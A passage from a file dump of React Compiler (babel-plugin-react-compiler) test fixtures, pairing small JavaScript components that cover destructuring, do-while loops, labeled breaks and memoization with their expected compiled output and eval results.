    "content": "// @flow\nfunction Component(props) {\n  const [x = ([]: Array<number>)] = props.y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: []}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const [\n    d,\n    [\n      {\n        e: {f},\n        ...g\n      },\n    ],\n    ...h\n  ] = a;\n  const {\n    l: {\n      m: [[n], ...o],\n    },\n    p,\n  } = b;\n  return [d, f, g, h, n, o, p];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(18);\n  let d;\n  let h;\n  let t0;\n  if ($[0] !== a) {\n    [d, t0, ...h] = a;\n    $[0] = a;\n    $[1] = d;\n    $[2] = h;\n    $[3] = t0;\n  } else {\n    d = $[1];\n    h = $[2];\n    t0 = $[3];\n  }\n  const [t1] = t0;\n  let g;\n  let t2;\n  if ($[4] !== t1) {\n    ({ e: t2, ...g } = t1);\n    $[4] = t1;\n    $[5] = g;\n    $[6] = t2;\n  } else {\n    g = $[5];\n    t2 = $[6];\n  }\n  const { f } = t2;\n  const { l: t3, p } = b;\n  const { m: t4 } = t3;\n  let o;\n  let t5;\n  if ($[7] !== t4) {\n    [t5, ...o] = t4;\n    $[7] = t4;\n    $[8] = o;\n    $[9] = t5;\n  } else {\n    o = $[8];\n    t5 = $[9];\n  }\n  const [n] = t5;\n  let t6;\n  if (\n    $[10] !== d ||\n    $[11] !== f ||\n    $[12] !== g ||\n    $[13] !== h ||\n    $[14] !== n ||\n    $[15] !== o ||\n    $[16] !== p\n  ) {\n    t6 = [d, f, g, h, n, o, p];\n    $[10] = d;\n    $[11] = f;\n    $[12] = g;\n    $[13] = h;\n    $[14] = n;\n    $[15] = o;\n    $[16] = p;\n    $[17] = t6;\n  } else {\n    t6 = $[17];\n  }\n  return t6;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.js",
    "content": "function foo(a, b, c) {\n  const [\n    d,\n    [\n      {\n        e: {f},\n        ...g\n      },\n    ],\n    ...h\n  ] = a;\n  const {\n    l: {\n      m: [[n], ...o],\n    },\n    p,\n  } = b;\n  return [d, f, g, h, n, o, p];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  do {\n    break;\n  } while (props.cond);\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.js",
    "content": "function Component(props) {\n  do {\n    break;\n  } while (props.cond);\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [1, 2, 3];\n  let ret = [];\n  do {\n    let item = x.pop();\n    ret.push(item * 2);\n  } while (x.length && props.cond);\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let ret;\n  if ($[0] !== props) {\n    const x = [1, 2, 3];\n    ret = [];\n    do {\n      const item = x.pop();\n      ret.push(item * 2);\n    } while (x.length && props.cond);\n    $[0] = props;\n    $[1] = ret;\n  } else {\n    ret = $[1];\n  }\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.js",
    "content": "function Component(props) {\n  let x = [1, 2, 3];\n  let ret = [];\n  do {\n    let item = x.pop();\n    ret.push(item * 2);\n  } while (x.length && props.cond);\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-conditional-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [0, 1, 2, 3];\n  do {\n    if (x === 0) {\n      break;\n    }\n    mutate(x);\n  } while (props.cond);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props) {\n    x = [0, 1, 2, 3];\n    do {\n      if (x === 0) {\n        break;\n      }\n\n      mutate(x);\n    } while (props.cond);\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-conditional-break.js",
    "content": "function Component(props) {\n  let x = [0, 1, 2, 3];\n  do {\n    if (x === 0) {\n      break;\n    }\n    mutate(x);\n  } while (props.cond);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-continue.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = [0, 1, 2, 3];\n  const ret = [];\n  do {\n    const item = x.pop();\n    if (item === 0) {\n      continue;\n    }\n    ret.push(item / 2);\n  } while (x.length);\n\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let ret;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [0, 1, 2, 3];\n    ret = [];\n    do {\n      const item = x.pop();\n      if (item === 0) {\n        continue;\n      }\n\n      ret.push(item / 2);\n    } while (x.length);\n    $[0] = ret;\n  } else {\n    ret = $[0];\n  }\n\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [1.5,1,0.5]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-continue.js",
    "content": "function Component() {\n  const x = [0, 1, 2, 3];\n  const ret = [];\n  do {\n    const item = x.pop();\n    if (item === 0) {\n      continue;\n    }\n    ret.push(item / 2);\n  } while (x.length);\n\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-early-unconditional-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [1, 2, 3];\n  do {\n    mutate(x);\n    break;\n  } while (props.cond);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = [1, 2, 3];\n\n    mutate(x);\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-early-unconditional-break.js",
    "content": "function Component(props) {\n  let x = [1, 2, 3];\n  do {\n    mutate(x);\n    break;\n  } while (props.cond);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-simple.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let x = [1, 2, 3];\n  let ret = [];\n  do {\n    let item = x.pop();\n    ret.push(item * 2);\n  } while (x.length);\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let ret;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [1, 2, 3];\n    ret = [];\n    do {\n      const item = x.pop();\n      ret.push(item * 2);\n    } while (x.length);\n    $[0] = ret;\n  } else {\n    ret = $[0];\n  }\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [6,4,2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-simple.js",
    "content": "function Component() {\n  let x = [1, 2, 3];\n  let ret = [];\n  do {\n    let item = x.pop();\n    ret.push(item * 2);\n  } while (x.length);\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  label: if (props.a) {\n    x = 1;\n  } else {\n    if (props.b) {\n      x = 2;\n    } else {\n      break label;\n    }\n    x = 3;\n  }\n  label2: switch (props.c) {\n    case 'a': {\n      x = 4;\n      break;\n    }\n    case 'b': {\n      break label2;\n    }\n    case 'c': {\n      x = 5;\n      // intentional fallthrough\n    }\n    default: {\n      x = 6;\n    }\n  }\n  if (props.d) {\n    return null;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  bb0: if (props.a) {\n    x = 1;\n  } else {\n    if (props.b) {\n    } else {\n      break bb0;\n    }\n\n    x = 3;\n  }\n  bb1: bb2: switch (props.c) {\n    case \"a\": {\n      x = 4;\n      break bb2;\n    }\n    case \"b\": {\n      break bb1;\n    }\n    case \"c\":\n    default: {\n      x = 6;\n    }\n  }\n  if (props.d) {\n    return null;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.js",
    "content": "function Component(props) {\n  let x = 0;\n  label: if (props.a) {\n    x = 1;\n  } else {\n    if (props.b) {\n      x = 2;\n    } else {\n      break label;\n    }\n    x = 3;\n  }\n  label2: switch (props.c) {\n    case 'a': {\n      x = 4;\n      break;\n    }\n    case 'b': {\n      break label2;\n    }\n    case 'c': {\n      x = 5;\n      // intentional fallthrough\n    }\n    default: {\n      x = 6;\n    }\n  }\n  if (props.d) {\n    return null;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const result = useMemo(\n    () => makeObject(props.value).value + 1,\n    [props.value]\n  );\n  console.log(result);\n  return 'ok';\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return {value};\n}\n\nexport const TODO_FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: 42},\n    {value: 42},\n    {value: 3.14},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\n// @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { makeObject_Primitives, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const result = makeObject(props.value).value + 1;\n\n  console.log(result);\n  return \"ok\";\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return { value };\n}\n\nexport const TODO_FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [\n    { value: 42 },\n    { value: 42 },\n    { value: 3.14 },\n    { value: 3.14 },\n    { value: 42 },\n    { value: 3.14 },\n    { value: 42 },\n    { value: 3.14 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.js",
    "content": "// @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const result = useMemo(\n    () => makeObject(props.value).value + 1,\n    [props.value]\n  );\n  console.log(result);\n  return 'ok';\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return {value};\n}\n\nexport const TODO_FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: 42},\n    {value: 42},\n    {value: 3.14},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const result = makeObject(props.value).value + 1;\n  console.log(result);\n  return 'ok';\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return {value};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: 42},\n    {value: 42},\n    {value: 3.14},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { makeObject_Primitives, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const result = makeObject(props.value).value + 1;\n  console.log(result);\n  return \"ok\";\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return { value };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [\n    { value: 42 },\n    { value: 42 },\n    { value: 3.14 },\n    { value: 3.14 },\n    { value: 42 },\n    { value: 3.14 },\n    { value: 42 },\n    { value: 3.14 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"ok\"\n\"ok\"\n\"ok\"\n\"ok\"\n\"ok\"\n\"ok\"\n\"ok\"\n\"ok\"\nlogs: [42,43,42,43,3.14,4.140000000000001,3.14,4.140000000000001,42,43,3.14,4.140000000000001,42,43,3.14,4.140000000000001]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const result = makeObject(props.value).value + 1;\n  console.log(result);\n  return 'ok';\n}\n\nfunction makeObject(value) {\n  console.log(value);\n  return {value};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: 42},\n    {value: 42},\n    {value: 3.14},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n    {value: 42},\n    {value: 3.14},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {ValidateMemoization} from 'shared-runtime';\n\n// Achieving Forget's level of memoization precision in this example isn't possible with useMemo\n// without significantly altering the code, so disable the non-Forget evaluation of this fixture.\n// @disableNonForgetInSprout\nfunction Component({a, b, c}) {\n  const x = [];\n  let y;\n  if (a) {\n    y = [b];\n  }\n  x.push(c);\n\n  // this scope should not merge with the above scope because y does not invalidate\n  // on changes to `c`\n  const z = [y];\n\n  // return [x, z];\n  return (\n    <>\n      <ValidateMemoization inputs={[a, b, c]} output={x} />\n      <ValidateMemoization inputs={[a, b]} output={z} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: false, b: null, c: 0}],\n  sequentialRenders: [\n    {a: false, b: null, c: 0},\n    {a: false, b: null, c: 1},\n    {a: true, b: 0, c: 1},\n    {a: true, b: 1, c: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\n// Achieving Forget's level of memoization precision in this example isn't possible with useMemo\n// without significantly altering the code, so disable the non-Forget evaluation of this fixture.\n// @disableNonForgetInSprout\nfunction Component(t0) {\n  const $ = _c(25);\n  const { a, b, c } = t0;\n  let x;\n  let y;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      let t1;\n      if ($[5] !== b) {\n        t1 = [b];\n        $[5] = b;\n        $[6] = t1;\n      } else {\n        t1 = $[6];\n      }\n      y = t1;\n    }\n\n    x.push(c);\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n    $[4] = y;\n  } else {\n    x = $[3];\n    y = $[4];\n  }\n  let t1;\n  if ($[7] !== y) {\n    t1 = [y];\n    $[7] = y;\n    $[8] = t1;\n  } else {\n    t1 = $[8];\n  }\n  const z = t1;\n  let t2;\n  if ($[9] !== a || $[10] !== b || $[11] !== c) {\n    t2 = [a, b, c];\n    $[9] = a;\n    $[10] = b;\n    $[11] = c;\n    $[12] = t2;\n  } else {\n    t2 = $[12];\n  }\n  let t3;\n  if ($[13] !== t2 || $[14] !== x) {\n    t3 = <ValidateMemoization inputs={t2} output={x} />;\n    $[13] = t2;\n    $[14] = x;\n    $[15] = t3;\n  } else {\n    t3 = $[15];\n  }\n  let t4;\n  if ($[16] !== a || $[17] !== b) {\n    t4 = [a, b];\n    $[16] = a;\n    $[17] = b;\n    $[18] = t4;\n  } else {\n    t4 = $[18];\n  }\n  let t5;\n  if ($[19] !== t4 || $[20] !== z) {\n    t5 = <ValidateMemoization inputs={t4} output={z} />;\n    $[19] = t4;\n    $[20] = z;\n    $[21] = t5;\n  } else {\n    t5 = $[21];\n  }\n  let t6;\n  if ($[22] !== t3 || $[23] !== t5) {\n    t6 = (\n      <>\n        {t3}\n        {t5}\n      </>\n    );\n    $[22] = t3;\n    $[23] = t5;\n    $[24] = t6;\n  } else {\n    t6 = $[24];\n  }\n  return t6;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: false, b: null, c: 0 }],\n  sequentialRenders: [\n    { a: false, b: null, c: 0 },\n    { a: false, b: null, c: 1 },\n    { a: true, b: 0, c: 1 },\n    { a: true, b: 1, c: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[false,null,0],\"output\":[0]}</div><div>{\"inputs\":[false,null],\"output\":[null]}</div>\n<div>{\"inputs\":[false,null,1],\"output\":[1]}</div><div>{\"inputs\":[false,null],\"output\":[null]}</div>\n<div>{\"inputs\":[true,0,1],\"output\":[1]}</div><div>{\"inputs\":[true,0],\"output\":[[0]]}</div>\n<div>{\"inputs\":[true,1,1],\"output\":[1]}</div><div>{\"inputs\":[true,1],\"output\":[[1]]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.js",
    "content": "import {ValidateMemoization} from 'shared-runtime';\n\n// Achieving Forget's level of memoization precision in this example isn't possible with useMemo\n// without significantly altering the code, so disable the non-Forget evaluation of this fixture.\n// @disableNonForgetInSprout\nfunction Component({a, b, c}) {\n  const x = [];\n  let y;\n  if (a) {\n    y = [b];\n  }\n  x.push(c);\n\n  // this scope should not merge with the above scope because y does not invalidate\n  // on changes to `c`\n  const z = [y];\n\n  // return [x, z];\n  return (\n    <>\n      <ValidateMemoization inputs={[a, b, c]} output={x} />\n      <ValidateMemoization inputs={[a, b]} output={z} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: false, b: null, c: 0}],\n  sequentialRenders: [\n    {a: false, b: null, c: 0},\n    {a: false, b: null, c: 1},\n    {a: true, b: 0, c: 1},\n    {a: true, b: 1, c: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const array = [props.count];\n  const x = makeObject_Primitives();\n  const element = <div>{array}</div>;\n  console.log(x);\n  return <div>{element}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, makeObject_Primitives } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== props.count) {\n    t0 = [props.count];\n    $[0] = props.count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const array = t0;\n  const x = makeObject_Primitives();\n  let t1;\n  if ($[2] !== array) {\n    t1 = <div>{array}</div>;\n    $[2] = array;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const element = t1;\n  console.log(x);\n  let t2;\n  if ($[4] !== element) {\n    t2 = <div>{element}</div>;\n    $[4] = element;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ count: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>42</div></div>\nlogs: [{ a: 0, b: 'value1', c: true }]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.js",
    "content": "import {Stringify, makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const array = [props.count];\n  const x = makeObject_Primitives();\n  const element = <div>{array}</div>;\n  console.log(x);\n  return <div>{element}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  const array = [props.count];\n  x = array;\n  const element = <div>{array}</div>;\n  return (\n    <div>\n      {element}\n      {x}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(7);\n  let x;\n  let t0;\n  if ($[0] !== props.count) {\n    t0 = [props.count];\n    $[0] = props.count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const array = t0;\n  x = array;\n  let t1;\n  if ($[2] !== array) {\n    t1 = <div>{array}</div>;\n    $[2] = array;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const element = t1;\n  let t2;\n  if ($[4] !== element || $[5] !== x) {\n    t2 = (\n      <div>\n        {element}\n        {x}\n      </div>\n    );\n    $[4] = element;\n    $[5] = x;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ count: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>42</div>42</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  const array = [props.count];\n  x = array;\n  const element = <div>{array}</div>;\n  return (\n    <div>\n      {element}\n      {x}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\n\nfunction Component(props) {\n  const onClick = React.useCallback(() => {\n    console.log(props.value);\n  }, [props.value]);\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as React from \"react\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = () => {\n      console.log(props.value);\n    };\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[2] !== onClick) {\n    t1 = <div onClick={onClick} />;\n    $[2] = onClick;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.js",
    "content": "import * as React from 'react';\n\nfunction Component(props) {\n  const onClick = React.useCallback(() => {\n    console.log(props.value);\n  }, [props.value]);\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\n\nfunction Component(props) {\n  const x = React.useMemo(() => {\n    const x = [];\n    x.push(props.value);\n    return x;\n  }, [props.value]);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as React from \"react\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.value) {\n    x = [];\n    x.push(props.value);\n    $[0] = props.value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  const x_0 = x;\n\n  return x_0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usememo.js",
    "content": "import * as React from 'react';\n\nfunction Component(props) {\n  const x = React.useMemo(() => {\n    const x = [];\n    x.push(props.value);\n    return x;\n  }, [props.value]);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
